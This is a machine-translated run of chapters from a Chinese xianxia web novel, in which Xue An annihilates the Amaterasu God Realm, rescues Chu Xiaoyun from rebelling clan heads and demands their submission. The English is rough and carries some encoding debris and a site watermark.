    People stared blankly at the empty Fire Dragon City.


    Everything became so quiet.


    Suddenly, someone began to sob softly.


    The voice was very small at first, but slowly, all those who survived began to cry uncontrollably.


    at last.


    The whole fire dragon city cried loudly.


    It''s just that the cry of this time was full of sorrow and joy, no complaints.


    at the same time.


    Similar scenes are being staged throughout the Amaterasu God Realm.


    But seeing the sword falling like rain, a feast of killing slowly unfolded.


    Those bully and arrogant, at this moment all learned to awe.


    Both hands are stained with blood of innocent people, repay with their own blood.


    The souls of the betrayers are destroyed, and the bones of the brutal people are gone.


    The entire Amaterasu God Realm is like a rotten wood full of worms. The gods live in it, enjoying the fun of bullying the weak.


    But when Xue An reorganized the universe with the supreme power, he seemed to throw this rotten wood into the raging fire.


    These gods finally understood what despair and fear are.


    And Xue An''s figure also appeared everywhere with the sky full of sword lights.


    The tragic situation that he saw and heard made Xue An angry, so he was even more merciless.


    But there are also many unruly gods who curse or yell at Xue An before they die, and some even shout loudly.


    "Where is your body hiding? What do you want to do?"


    Xue An''s answer to this was just a cold smile, and then faintly said: "I am everywhere, as for what I want to do... I am incarnate only to kill."


    at last.


    The entire Amaterasu God Realm was completely swept by the Sword of Evil.


    wherever he went, countless killings.


    Amaterasu God, ten does not have one.


    Those who have survived are mixed with joy and sorrow.


    The joys and sorrows are mixed because no matter what, I survived.


    ��If it is chilling, it is because Xue An��s approach to the sky this time makes everyone awed.


    And Xue An''s name also shook the entire Amaterasu God Realm, becoming a powerful existence, no one dared to look up.


    And this incident was also heavily written into the history of Amaterasu God Realm.


    In the coming thousands of years, people will respectfully call it when they mention it.


    Curse!


    When the sword light dissipated and the divine mind returned, Xue An, who was in control of the hub, slowly opened his eyes.


    Then a slight exhaustion flashed across his face.


    After all, he directly confronted the entire Amaterasu God Realm with his own power, which made Xue An also feel a little tired.


    Especially, he is still a true immortal.


    If anyone else knows that the King of Lizhan, Xue An, who has fallen to the Heavenly Punishment, is only a true immortal cultivation base, he will probably stare out his eyes.


    Because it sounds incredible.


    crossed a great realm, slaughtered the Amaterasu God King of Da Luo Xiu with the true immortal cultivation base, and then sent down the punishment to sweep the entire Amaterasu God domain.


    What a terrifying strength and talent.


    But Xue An also knew that the reason why Amaterasu God King was so easily eliminated this time was largely due to this alchemy armor he obtained by accident.


    If it hadn''t been transformed into a crossbow and shot the Amaterasu King with one arrow, although Xue An could also destroy it, it would take a little more trouble.


    But no matter what, the battle is finally over.


    At this time, An Yan walked out of the Fubao Xiaolou, and seeing Xue An a little tired, she couldn''t help but walked up distressedly and gently kneaded his shoulders.


    "Husband, are you okay!"


    Xue An grabbed An Yan''s tenderness and kneaded it gently, "It''s okay, who am I, your husband, how can I get me in this little scene? Tsk tsk, but Yan''er''s hands are getting longer and more beautiful. , Look at this fingernail, it is in the shape of loving you!"


    An Yan blushed, but did not withdraw his hand, but gave Xue An a shy look, "Bah, gangster! People told you to be serious, but you started talking nonsense again."


    "Hey, Yan''er, then tell your husband, what is serious and what is not serious?" Xue An said with a smile.


    "To be honest is called serious, and to take advantage of me is called not serious!" An Yan said righteously.


    Xue An laughed, and then he took An Yan into his arms, "Watching such a beautiful wife, if I''m really honest, you should worry about whether I''m sick!"


    An Yan fluttered in Xue An''s arms, but in the end she obediently wrapped her arms around Xue An''s waist, and then asked suspiciously: "Is sick? What kind of illness?"


    Xue An smirked to An Yan''s ear, and said something softly.


    An Yan''s face flushed to the base of her neck, and then she gave Xue An a viciously white look, "Rogue, do you think about this all day long? Fortunately, you used to be a fairy!"


    Xue An could not laugh or cry, "What''s wrong with Xianzun? Xianzun must have human rights too! You must know that although your husband I am very powerful, I am also a man! Shouldn''t the legal rights of men be respected and protected?"


    Speaking of the last, Xue An��s face looked distressed An Yan looked a little dazed, especially after seeing the sadness on Xue An��s face, she suddenly regretted her attitude just now, thinking she really let Xue An was sad.


    gritted his teeth, then stood on tiptoe and attached it to Xue An��s ear, softly whispering, ��Husband, don��t be angry!��


    "Just stop being angry? No actual expression?" Xue An asked deliberately with a straight face.


    An Yan blushed like blood, then slowly closed his eyes, and stammered: "I...I..."


    I have been for a long time, but I didn��t say why.


    Xue An laughed loudly, like carrying a sandbag, and carried An Yan on his shoulders.


    An Yan exclaimed, "Husband, what are you doing? Quickly let me down!"


    Xue An smiled and waved his hand, Shen Nian completely covered the room.

 Chapter 1114： Jade

    "Husband, where are we going next?" An Yan asked.


    Xue An casually squeezed her ruddy face, and smiled: "Go back to the Cursed City!"


    "Huh? Shall we not go to Li Hentian?" An Yan was a little strange.


    "Of course Li Hentian will go, but not now! Let''s go after everything here is done!"


    "Oh!" An Yan nodded, silently walked forward, wrapped Xue An''s waist from behind, and buried his head on his back.


    "Husband!" An Yan said dullly.


    "Ok?"


    "Thanks for your hard work!"


    Xue An was startled slightly, then chuckled softly: "Why do you say that suddenly?"


    Anyan was so dumbfounded by Xue An''s words that she twisted Xue An lightly and furiously, "Is it necessary for my wife to feel sorry for her husband?"


    "No need, no need! It hurts! Yan''er let go!" Xue An said grinningly.


    An Yan was a little speechless, "Should you not be so exaggerated, I don''t have to work hard at all!"


    "Yan''er, I''m afraid it hurts your hand!"


    "Bah! Hu Qin!" An Yan took a sip, but he laughed.


    After just laughing for a moment, An Yan leaned against Xue An''s back a little sadly, and said softly: "My husband, so many things are on your shoulders! I really love you!"


    "And this time you fight so many gods alone, although you are very powerful, you are only one person after all!"


    Speaking of this, An Yan''s voice was already choked.


    Xue An was silent for a while, but there was a warm current in his heart.


    Fighting against the gods and spirits alone, and bloodbathing a divine realm, everyone sees their own infinite beauty.


    Only this woman is distressed by the pressure she is under.


    Anyway, Xue An thinks it is enough to have such a woman by his side!


    Xue An turned around and put An Yan in his arms, gently stroking her long hair.


    "Okay! Your husband and I are measured in everything I do. If I dare to do this, it means I have the confidence to win. Don''t think about it! Did you hear that?"


    "Hmm!" An Yan nodded slightly, but after a while, she whispered.


    "But I am really worried about you! In the Fubao Xiaolou, I can see what happened outside, but I can''t help with anything! That feeling is too difficult!"


    Speaking of this, An Yan raised her head and looked at Xue An pleadingly, "Husband, I have been studying the exercises you gave me all day in the Fubao Xiaolou for this period of time. Now my strength is very good. ! So when this happens next time, don''t lock me in the Fubao Xiaolou, let me come out and fight with you, okay?"


    When she said this, An Yan''s face was full of sincerity.


    Xue looked quietly, and the two looked at each other. After a while, Xue An smiled and nodded.


    "Good! I promise you!"


    "Really?" An Yan''s eyes lit up and cheered, "That''s great!"


    Then she calmed down quickly, and said with a resolute look: "Husband, don''t worry! I will never drag you down, I will be your strongest backing!"


    "Yeah! I believe you! Yan''er is the best in the world, you can do it!" Xue An stroked An Yan''s hair infinitely and said softly.


    Just when Xue An and An Yan were selling dog food crazily.


    Cursed City, the atmosphere in Sendai that was opened up has already stagnated to the extreme.


    This place in Sendai has become a world of its own, plus Chu Xiaoyun ordered a blockade, so it has been completely disconnected from the outside world.


    In other words, what happened outside is unknown here.


    But how long time has passed, people know it in their hearts.


    I counted, and left Xue An, three full days have passed.


    When everyone started drinking and chatting, the atmosphere was relatively relaxed.


    But as time passed, everyone gradually became silent, and the atmosphere became more solemn.


    Especially Chu Xiaoyun, his face was turning pale a little bit.


    this moment.


    The crowd gathered quietly in a corner of Sendai, and began to talk quietly.


    "Three days have passed, this Xue An hasn''t come back yet, I think he should be choppy!" Someone said with a worried expression.


    "Hehe, I said that this incident was a joke at the beginning, to slaughter the Amaterasu gods with my own power, it doesn''t sound reliable!" someone sneered.


    "Yes, this Xue An estimates that the capital of the corpse is already cold now! He won''t be able to come back any time later!"


    "Yes! It''s meaningless to wait like this! But the point is that this newly promoted goddess has blocked the entire space, and we can''t figure it out!"


    "I don''t believe that she can stay locked down like this? Our respective families are not vegetarians. We haven''t heard back from us for several days. After a long time, naturally someone will come to look for her! Then I will have to see what happened to her. End!" Someone said angrily.


    "I''m afraid that this goddess has completely saved it!" someone said suddenly.


    "You mean...the jade is burnt?" Someone was shocked and asked in a panic.


    "That''s right!"


    Now, everyone''s complexion becomes difficult to look.


    "Damn, I refused to accompany this lunatic woman to death! Why should I wait here?" A strong man was completely angry, got up and walked forward.


    "My Goddess!" the strong man shouted loudly.


    Chu Xiaoyun, who was leaning on the armrest of the seat with his forehead with his hand, closed his eyes and opened his eyes slowly.


    "Huh? What''s the matter with Lord Dongwu?"


    The brawny man who spoke was the dock owner of Feilongwu, named Dong Yingjie, and he was considered a powerful man.


    Dong Yingjie took a deep breath and said in a deep voice: "My Goddess, I just want to ask, everyone has been waiting here with you for three days. If this Mr. Xue really doesn''t come back, could we just keep waiting like this? Are you here?"


    His words also attracted a lot of echoes Yes! Lord Goddess, we have been waiting here for three days. If nothing happens, we should also leave, so you should remove the blockade! ""Yes! If you are willing to wait, just wait here! We all have business! "


    Someone took the lead, and the crowd began to clamor.


    In the face of so many people''s questions, Chu Xiaoyun''s face was as cold as frost, and he suddenly slapped the table, "Shut up all!"


    The whole audience was silent.


    Then Chu Xiaoyun looked around the audience and said coldly: "I tell you, if Mr. Xue doesn''t come back, none of you want to leave!"


    "What if he never comes back?" Dong Yingjie suppressed the anger in his heart and asked coldly.


    "Then keep waiting!"


    Dong Yingjie laughed angrily, "Then if this Mr. Xue dies, he will never come back?"

 Chapter 1115： Cursed Eye, Qi Controlling Dragon

    Chu Xiaoyun''s eyes were full of coldness, and he sternly said: "Mr. Xue will never be wrong! And anyway, as long as he doesn''t come back, none of you want to leave!"


    These words caused a commotion in the audience.


    Dong Yingjie was even more angry, but now Chu Xiaoyun inherited the goddess and power of the cursed goddess, and his strength should not be underestimated.


    So he didn''t dare to say too harshly, so he gave Chu Xiaoyun a hateful look and left in surprise.


    But after such a disturbance, the atmosphere in the audience became more and more weird.


    Many people looked at Chu Xiaoyun with unkind expressions, and from time to time there was a fierce look in their eyes.


    Chu Xiaoyun knows this too well, but she is determined to be decisive.


    If Xue An really has some accident and cannot return... then these people will never go out, and they will all stay here for funerals!


    The reason why Chu Xiaoyun did this was to block the news here.


    After all, Xue An killed the Tianjiao of the great families at the time. If the news spreads, these great families will definitely not give up, and will definitely come to Xingshi to inquire.


    When Xue An has Amaterasu gods in front of him, and big clan in the back, isn''t that just because he has suffered from the enemy?


    With this thought in mind, Chu Xiaoyun will so decisively cling to the belief that the jade will be burned.


    Naturally, she also knows that people''s feelings are floating now, and many people have been dissatisfied.


    But Chu Xiaoyun just sneered slightly.


    Anyway, she has completely sealed the space here, unless she opens it voluntarily, otherwise if she wants to go out, she can only kill her!


    Thinking of this, Chu Xiaoyun slowly closed his eyes again.


    This kind of speechless statement made the audience commotion.


    "Damn, this girl must be crazy! That Xue An nine out of ten is dead, can it be said that we are going to wait here, and finally be buried with him?"


    "That''s right, it seems that this girl has this idea!"


    "I think we should unite, control this crazy girl, and then find a way to get out!"


    "That''s right!"


    The more these people negotiate, the worse their complexion becomes.


    Among the crowd, there was only the Profound Girl Tianjiao of the Taiyin Protoss, and Zhong An''an remained silent.


    In fact, she sighed slightly in her heart at the moment.


    She understood Chu Xiaoyun''s thoughts very well, but she also felt that this matter was a bit unclear. After all, Xue An has been there for three days, but has been silent forever. It is very likely that she has really gotten worse.


    But Zhong Anan was very smart and didn''t speak, but kept a neutral attitude.


    At this time, the group of people discussed quietly, and then dispersed without moving.


    But these people are obviously very organized, faintly all aiming at Chu Xiaoyun sitting on the chair, and gradually formed a trend of encirclement.


    Chu Xiaoyun didn''t seem to notice anything, still leaning on the chair and closing his eyes to rest.


    Dong Yingjie gave a wink at everyone around him, and everyone nodded.


    Dong Yingjie smiled coldly, and then rushed up first.


    Feilongwu is known as a rich family. As the owner of Feilongwu, Dong Yingjie is naturally extraordinary.


    Although he is only a real celestial powerhouse, his power is terrifying when he controls the Qi flying dragon with one hand.


    Especially in order to get out of here as soon as possible this time, Dong Yingjie directly used the strongest killer move.


    However, seeing the aura transformed into a dozen flying dragons, they attacked Chu Xiaoyun with a domineering posture.


    Not only that.


    Dong Yingjie''s shot was like a signal, and everyone who was around also moved their hands.


    , you can see the brilliance and power.


    Although these people are not peerless powerhouses, they all have decent strengths, especially if such a combined attack is even more terrifying.


    But under this siege, Chu Xiaoyun, who was covered by the sky full of brilliance, snorted slightly, and then opened his eyes.


    What kind of eyes are these?


    There was no emotion in the eyes, and even the pupils disappeared and turned into pure gray.


    Not only that, but what appeared along with these eyes was the skyrocketing power that suddenly rose from Chu Xiaoyun.


    Dong Yingjie was shocked, and then a look of shock appeared on his face.


    Because at this moment, Chu Xiaoyun slowly turned his head to look at him.


    As far as he could see, it seemed that even the space had burnt out two big holes, and then Dong Yingjie felt his soul start to boil, his vitality was rapidly dying, and the whole person began to age rapidly!


    These changes made Dong Yingjie horrified, and he ignored the battle with Chu Xiaoyun, hurriedly dodged, and then exclaimed, "It''s the eye of the curse! This woman opened the eye of the curse!"


    Everyone was shocked by the words.


    You must know that the cursed eye was a great skill that the cursed goddess relied on to become famous. Once it is opened, even if it is a strong man, you have to be afraid of three points.


    Because the power of this curse is different from ordinary spells, it directly acts on the bloodline and even the fate, which is extremely difficult, so the original cursed goddess will have a reputation.


    But Dong Yingjie and others didn''t expect that this Chu Xiaoyun could use such tyrannical magical skills after just inheriting the strength and cultivation base of the former Cursed Goddess.


    For a time, the whole audience was in chaos.


    Dong Yingjie relied on his tyrannical cultivation base to barely escape the pursuit of the cursed eye.


    But other people were not so lucky Especially Dong Yingjie was afraid that he would be cursed again, so he simply grabbed a monk next to him and used it as his own shield.


    This monk is a true god-level powerhouse above the golden immortal and not full of true immortals.


    Although not too strong, it is not bad.


    But under Dong Yingjie''s hands, there was no power to fight back.


    At this moment, Chu Xiaoyun''s gaze swept over.


    This righteous god-level expert shook his whole body, and then let out a terrible cry.


    With the sound of miserable howling, I saw this person begin to decline rapidly.


    In an instant, he changed from a majestic and powerful man to a dying old man.


    Then this person''s skin cracked, and finally his soul collapsed and died.


    This scene numbs the scalp of all the besieged.


    Especially Dong Yingjie, he was extremely frightened.


    He originally thought that Chu Xiaoyun had just inherited the goddess of cursed goddess. He should not have much strength. Before, he was shocked by Xue An''s existence, so he didn''t dare to make a mistake.


    Now it seems that Xue An must be dead, and he just started thinking.


    But I didn''t expect my abacus to be wrong.


    If you know this, you can��t do anything you say!


    Dong Yingjie groaned in his heart, and then his body flashed, thinking about avoiding Chu Xiaoyun''s pursuit.


    can be at this moment. .


    Chu Xiaoyun, who was originally like a rainbow, suddenly turned pale, then opened his mouth and vomited a big mouthful of blood.


    As the blood spurted out, her extremely domineering eyes also dimmed.

 Chapter 1116： What I said has been fulfilled!

    Everyone was taken aback when they saw this, and then Dong Yingjie was overjoyed and shouted: "Everyone, go together, this lady relied on the burning **** to display the cursed eye, she can''t hold it now!"


    As Dong Yingjie said, Chu Xiaoyun barely used this cursing eye purely by relying on the burning godhead.


    Because she inherited the throne for too short a time, a few days was not enough for her to fully control this power.


    But in order to be able to repel these people, she also gave it up.


    But sometimes things are like this, if it doesn''t work, it doesn''t work, even if you give up your life.


    Because of the shock of the cultivation base caused by the burning of the godhead, Chu Xiaoyun was seriously injured in an instant.


    spitting out this mouthful of blood was just the beginning, and her whole aura fell rapidly.


    At the same time, all the people who besieged her were shocked and killed one after another.


    Especially Dong Yingjie, he said with a grin: "Smelly lady, I''m so stupid, I will send you to reunite with that Xue!"


    As he said, he pushed with both hands, and the Qi-Controlling Flying Dragon was urged to the extreme, and dozens of ferocious dragons transformed into aura rushed towards Chu Xiaoyun.


    Facing the attacking sky full of brilliance, Chu Xiaoyun wiped the blood from the corner of his mouth with a calm face.


    Anyway, the revenge of my own family has been reported! If the lord dies, then I will also let him go!


    Just before dying, none of these people want to run.


    thought in his heart, Chu Xiaoyun began to urge his divine power madly, and the skin all over his body also showed an abnormal red color.


    "Hurry up and stop her! She is going to explode her godhead!" Someone exclaimed when she saw this.


    Dong Yingjie was even more frightened, "Smelly girl, do you want to pull us back when you die?"


    As he said, the speed of the Qi-Controlling Flying Dragon suddenly accelerated, and it came to the top of Chu Xiaoyun''s head in an instant, then opened his blood basin and swallowed it straight down.


    Chu Xiaoyun was completely desperate.


    My lord, here I am!


    She shouted in her heart, and then slowly closed her eyes.


    But just when the Qi-Controlling Flying Dragon was about to come into the body, even Zhong Anan in the crowd turned his head and couldn''t bear to look anymore, thinking that Chu Xiaoyun would definitely die.


    Seeing a white light flashing, Dong Yingjie, who was originally smug, seemed to be hit by a mammoth, and flew out.


    and began to vomit blood in midair.


    At the same time, I heard a cold voice.


    "Who told you...I''m dead?"


    Following the voice, the void in front of Chu Xiaoyun rippled, and then the figure of a young man in white appeared.


    When the white-clothed boy appeared, the dozens of Qi-Controlling Flying Dragons also happened to rush to the front.


    But the boy didn''t even blink his eyes, just said a little.


    "Go!"


    With an order, a gust of wind suddenly blew up in front of the young man. These qi-controlling flying dragons couldn''t even struggle, so they were blown away by the wind.


    The word ���� is so powerful.


    The audience was quiet.


    Everyone stood there staring dumbfounded as if they were hit by magic.


    Chu Xiaoyun, who had given up all hope and was about to embrace death, suddenly opened his eyes after hearing the sound, and then he was also stunned.


    It wasn''t until a breathing time that she woke up like a dream, and she shouted with excitement, "My lord!"


    That''s right!


    The person who came is Xue An.


    I saw him nodded slightly, and then stood with his hands behind, looking around the audience with a cold expression.


    Everyone can''t help taking a half step back subconsciously.


    Especially the people who besieged Chu Xiaoyun, their complexions turned pale in an instant.


    "I heard, you all think I''m dead?" Xue An said lightly.


    No one dared to speak, all the audience could only hear Dong Yingjie''s painful breathing.


    He was blasted out by Xue An, and now he can''t stand up, he can only linger on the wall halfway.


    Xue An stepped forward and slowly walked closer to him.


    Dong Yingjie looked at Xue An in shock, and trembled: "Big... Your lord Rao..."


    Xue An waved his hand to stop him from continuing to speak, and then said lightly: "Do you know why I beat you?"


    Dong Yingjie shook his head in horror, and immediately remembered what was the case, and nodded quickly, "I know, it''s because I''m obsessed with my heart, so I dare to fight against the goddess! I deserve to die, I am not a human..."


    Xue An smiled, "You are not a human! Don''t you always claim that you are a noble god?"


    ''S words made Dong Yingjie stiff, and then he also smirked, "My lord said, I am really not a human being!"


    Xue An didn��t pay attention to his words at all, and just said indifferently: "What you said is only one aspect. If that''s all, I won''t be able to do it yet, but how do you explain this thing?"


    As he said, Xue An opened his palm, and there was a floating divine mind in his palm.


    Dong Yingjie''s expression changed a lot when he saw this thing.


    And Xue An said coldly: "It is understandable to break through the blockade through the secret technique of divine mind and pass the news here, but the problem is that you actually want to harvest this way. You said, how should this be solved? ?"


    This spiritual thought was intercepted by Xue An on the way to the Cursed City. The above content is very simple, it explains the situation in the Cursed City.


    Actually, this is nothing, and Xue An doesn''t bother to care about such trivial matters.


    But the key is that the last piece of information attached to this divine mind made people shudder after reading it.


    Dong Yingjie wants his men to take advantage of the emptiness of the cursed city to lead people to harvest resources.


    As for what this resource is.......


    You can see the religious countries that the goddess of curse controlled before.


    For these high-ranking gods, the people who can provide the power of faith are a kind of resource.


    And the two words harvest, you can read the blood and cruelty contained in it literally.


    This is why Xue An started directly after he arrived.


    Seeing that things were revealed, Dong Yingjie''s face was ashamed because he knew he was dead.


    Immediately, he seemed to think of something again, suddenly raised his head, and roared ferociously: "The surname is Xue, you don''t think you are very powerful, even if you kill me now, I am still not convinced!"


    "Oh? Not convinced?"


    "That''s right!" Dong Yingjie smiled coldly, "Didn''t you say that you want to slaughter the adults of Amaterasu God''s Domain? But what did you do? You probably ran away somewhere to hide in these three days!"


    By this time, Dong Yingjie had already given up everything and laughed wildly.


    Many people can''t help but nod to themselves.


    Yes!


    Perhaps as Dong Yingjie said, this Xue An hid in some place for three days!


    Even Chu Xiaoyun didn''t think Xue An could really do it.


    After all, that''s incredible!


    But in Dong Yingjie��s laughter, Xue An stood proudly and said in a flat tone: "What I said has been fulfilled! The gods are dead! Amaterasu God''s Domain no longer exists!".


    The words came out.


    Dong Yingjie''s laughter stopped abruptly, and the audience was silent.

 Chapter 1117： The sun and the moon are the same, thanks to Xuean!

    Everyone was stunned by Xue An''s words.


    The gods are dead, the gods are gone!


    This statement sounds like a tale more than a fairy tale!


    At least many people show unbelief on their faces.


    Dong Yingjie was stunned for a while, and laughed wildly again, "The name Xue, I really admire your imagination! The gods are dead! Why don''t you say that you are the king of gods? You are really laughing at me. , Hahahaha!"


    The laughter reverberated over the entire Sendai, but Xue An was not angry, but looked up at the sealed space, and said lightly: "It''s really...Xia Chongyubing, Lu Ren talks about the sea! "


    "Huh?" Dong Yingjie was taken aback, and his laughter also stopped. "What do you mean?"


    Xue An showed white teeth and smiled at him sorrowfully, "It''s nothing, I just think... ignorance is terrible!"


    After that, Xue An took a step forward and said coldly: "This place is too stuffy, open it for ventilation!"


    With the voice, a ray of sword light appeared out of thin air, and then Xue An waved his hand and cut down with a sword.


    Click!


    After ���� there was a crisp sound, the fetters that blocked this piece of Sendai shattered one after another.


    But it did not end.


    When the blockade was broken, cracks appeared in the space.


    These cracks were very subtle at the beginning, but suddenly they began to expand rapidly.


    After only a few breaths, the space was cut to pieces.


    When the cracks expanded to the limit, there was only a loud bang, and the secret realm of Sendai that was temporarily opened up... just shattered!


    When the space fragments exuding a little bit of luster dissipate like a sea of ??stars, the starry sky outside has become more and more illusory.


    Everyone stared at this picture blankly.


    No one spoke, no one dared to speak.


    was not only shocked by Xue An''s shocking sword.


    More importantly, everyone feels the strange atmosphere of the outside world.


    The original Amaterasu God Realm, the aura from the gods is domineering, flooding the whole world.


    That kind of feeling is like a raging bonfire burning in the wilderness, even if they are far apart, they can be clearly felt.


    But now, within the range that everyone can perceive, the wilderness is silent and quiet.


    "This...what''s going on?" Dong Yingjie muttered to himself with horror on his face.


    At this moment, Zhong An''an in the crowd suddenly trembled: "Everyone...Look at the sky!"


    Everyone looked up.


    Just beside the moonlight in the night sky, a round of scorching sun is emerging.


    Under the sun, the earth that had fallen into the night gradually brightened.


    "The sun and the moon are in the same radiance, this...this is the vision that the King of God had when he went on tour!" Zhong Anan muttered to himself.


    At this moment, Xue An walked slowly towards the sky.


    His speed may seem slow, but in fact it is extremely fast!


    In an instant, Xue An was already standing in the void.


    And when his figure appeared in the night sky, the rays of the sun and the moon gradually dimmed, and the sky full of stars stopped flashing.


    It looked like he was bowing his head respectfully to Xue An''s arrival.


    Everyone''s eyes gradually widened.


    Zhong Anan trembled all over, and his teeth trembled and whispered: "Sun and Moon bow their heads, this...this is the gift of the King of God!"


    at the same time.


    Xue An, standing on the sky with his hands down, looked down at the crowd, and then said lightly: "I said, the gods are dead! Now, are you credible?"


    Boom!


    There was a deathly silence in the crowd, followed by a violent commotion.


    "This... how is this possible?" Someone was shocked.


    "My God, one person slaughtered the Amaterasu gods, what is his origin?" Someone was surprised.


    "I knew that now, I shouldn''t have opposed the cursed goddess!" Some people regretted.


    But it doesn''t matter whether you are shocked or regretful.


    In the end, everyone invariably bowed their heads deeply, showing the greatest awe of Xue An.


    Zhong Anan peeped, but saw the sun and the moon in the void, and all beings on the earth bowed their heads.


    The whole world seemed to become silent, and only Xue An stood proudly in the world.


    His white clothes were hunting and hunting sounded by the wind, as if all the light was converging on him at this moment, it was hard to look directly at him.


    Zhong Anan was shocked physically and mentally.


    As the Xuannv Tianjiao of the wealthy family, she has seen countless young Tianjiao, and has also met countless strong gods with a long life.


    But no matter what kind of supreme and noble deity, it is not as shocking as Xue An gave her.


    This boy...who is he? Why is there such a strong strength?


    These questions circled in Zhong Anan''s mind.


    At this time.


    Xue An''s gaze swept across Dong Yingjie, who had fallen into a petrified state, and said lightly: "Do you still... still feel ridiculous now?"


    Dong Yingjie''s brain was blank, and what happened before his eyes was beyond his understanding.


    It wasn''t until Xue An asked him that he gradually recovered his consciousness.


    Then he did something unexpected to everyone.


    saw him slap his forehead with a palm.


    After ���� there was a muffled sound, the brain splashed and the dead body fell.


    People are a little dumbfounded.


    Dong Yingjie is also the dock owner of Feilongwu, so he can be regarded as a powerful party.


    As a result, after meeting Xue An, she didn''t even dare to resist, so she decided to judge himself Xue An looked at Dong Yingjie��s dead body on the ground, and smiled inexplicably. It''s a pity, I only play a little clever!"


    After that, Xue An flicked his finger and flew straight into the sky with a ray of brilliance.


    After a breath, I heard a miserable howl from the distant sky.


    The miserable howl was very short, and then everything returned to silence.


    Everyone was shaken by it, and many people showed a look of horror.


    Because the miserable howl just now was obviously Dong Yingjie''s voice.


    In this way, Dong Yingjie, who had just decided on his own, should not have really died, but tried to deceive Xue An through secret methods, and then escaped.


    It''s a pity that all his wishful thinking was buried under a single finger of Xue An''s hand.


    This kind of understatement caused one party''s arrogant death, and naturally made this group of people palpitated.


    At this moment, Xue An only smiled faintly, "Don''t be afraid, I didn''t plan to kill you!"


    Many people with ghosts can''t help but breathe a sigh of relief.


    Xue An continued: "Actually, I am not the kind of person who kills innocent people! Although you may not be considered innocent at all! But I decided to give you a chance!"


    Chance?


    what chance?


    Everyone looked at each other. Although they didn''t understand what Xue An was going to do, they felt a little nervous. .


    At this time, Xue An said calmly: "You all come from rich families from different quarters, then I will give you ten days! Ten days later, I want to see all your respective forces come here, and then... ...."


    Xue Ansen sneered, "surrender to me!"

 Chapter 1118： Thats all you want to say?

    As soon as this remark came out, everyone changed their colors.


    You must know that these people present are all from the rich family of various parties, and their strength should not be underestimated.


    Even when the Amaterasu King was reigning, these tycoons never truly subdued.


    This young man in white actually uttered such arrogant words, which naturally made many people secretly dissatisfied.


    At this time, Xue An looked at the audience with a magical glow, then said lightly: "I know, many of you are very unconvinced!"


    "This is normal, and I don''t blame you! But I just want to say that after ten days, if you are still here, if there is a family of rich family who has not arrived, then there is no need for him! You... understand?"


    Boom!


    Xue An''s remarks were like a bomb that shocked everyone in the audience.


    Because they all understand what the so-called unnecessary existence is.


    But this is too arrogant.


    You must know that the forces behind these people present are not weak, and if they are united, they are even more powerful than Amaterasu God''s Domain.


    Therefore, many people''s eyes are filled with indecision.


    Xue An naturally saw it too, but he just smiled indifferently, and then waved his hand, "Go! Ten days later, I am here waiting for you!"


    Everyone glanced at each other, and then they all arched their hands at Xue An, then rose up into the sky, turning into streams of light, and spreading out.


    Xue An looked at the backs of these people away, smiled coldly, and then flew down.


    this moment.


    Only Chu Xiaoyun and some of the disciples of the Cursed City were left in the field.


    But there is still one person who hasn''t left, that is Zhong Anan, the goddess Tianjiao of the Taiyin Protoss.


    When Xue An fell to the ground, Zhong An''an took a deep breath, stepped forward, and gave a respectful bow.


    "Zhong An''an, the heavenly arrogant goddess of the Taiyin Protoss, I have seen Master Xue!"


    Xue An glanced at her faintly, and then said with a faint smile: "I remember you! At the banquet in Yuwei Pavilion that day, you were there too! Right?"


    Zhong An''an nodded, "My lord is right, I was there that night!"


    "So, you should be together with Qi Hongbo and others of the Skyfire God Clan, so now...what are you looking for?" As he said, Xue An raised his eyes and glanced at Zhong An''an.


    Zhong Anan only felt a huge shock in his heart, and his entire body was erected, and he couldn''t help but feel more horrified.


    just casually glanced at himself and made himself tremble. How powerful is this person?


    But soon, she suppressed the horror in her heart and said respectfully: "My lord, I am the goddess Tianjiao of the Taiyin Protoss, and can be the master of many things! So I decided that from now on, the Taiyin Protoss will be unconditional. Submit to the Lord!"


    "Oh?" Xue An''s eyes lit up, and then looked at Zhong An''an with interest, "Why?"


    Zhong An''an smiled, "The strong among the gods are respected, your strength is obvious to all, and my Taiyin Protoss, as the weakest powerful clan, is a matter of obedience to you!"


    Xue An smiled, but did not have the joy of being complimented by a mysterious woman Tianjiao, but said indifferently: "What then?"


    Zhong Anan was taken aback.


    "You haven''t left, you shouldn''t just tell me about it!"


    Zhong An''an lowered his head, a touch of awe appeared in his eyes.


    There are not many powerful people in the God Realm, but there are not many powerful people who are as clear-headed as Xue An and are not affected by the glory or shame of the outside world.


    Especially Xue An looks so young, which is even more terrifying.


    For those young and powerful men that Zhong An��an has seen, which one is not high-spirited and passionate?


    In addition, Zhong An Angui is the Profound Girl Tianjiao, and often just a casual compliment can make these teenagers feel dizzy and bow their ears.


    Zhong Anan also had the idea of ??having a good relationship with Xue An, so he never left.


    I didn''t expect Xue An to be completely indifferent to what he said.


    This feeling made Zhong An''an feel a little disappointed.


    But immediately she gritted her teeth, then raised her head, looking at Xue An with a solemn expression.


    "My lord really has eyes like a torch, yes, I do have one more thing to tell! One thing is about your current position of power and even life and death!"


    After that, Zhong Anan looked at Xue An quietly, waiting for him to appear shocked.


    Talking by yourself at that time will have a multiplier effect.


    It''s a pity that she has a good plan, but the truth is not what she imagined.


    I saw Xue An''s face full of indifferent expression, without even blinking his eyelids, "Oh? Come and listen!"


    Zhong Anan was caught off guard by Xue An''s attitude.


    what happened?


    Is it not clear enough that I said it?


    Why did he not react at all?


    But soon, Zhong An''an reacted, and then gritted his teeth, and no longer concealed, but said straightforwardly.


    "My lord, if you just did it, it will definitely anger all the powerful people! These forces are intertwined, and they have existed even longer than the Amaterasu God''s Domain! If that''s all, the relationship between these forces is complicated after all~www.novelhall .com~ Normally it is difficult to twist into a rope! But this time the situation is very special!"


    While talking, Zhong Anan took a peek at Xue An, and found that Xue An still had a calm expression on his face, as if these things had nothing to do with him.


    Zhong An''an was a little bit dumbfounded in his heart, so he had to solemnly said: "My lord, you killed all the descendants of the Heavenly Jiao, such as the Skyfire God Clan, the Ancient Sword God Clan, and the Five Elements God Sect! Acting, just give these rich family a chance!"


    "At that time, I am afraid that these tycoons will take the opportunity to unite and fight you!"


    After finishing speaking, Zhong Anan looked at Xue An solemnly, wanting to hear how Xue An responded.


    But she never expected that after Xue An listened, she didn''t look surprised at all, but yawned for a long time, and then said flatly, "That''s all you want to say?"


    Zhong An''an was a little silly, and nodded subconsciously.


    "I think it''s a big deal! If they unite, they unite. If they don''t unite, it would be weird!"


    Zhong An''an gradually rounded his eyes, "But..."


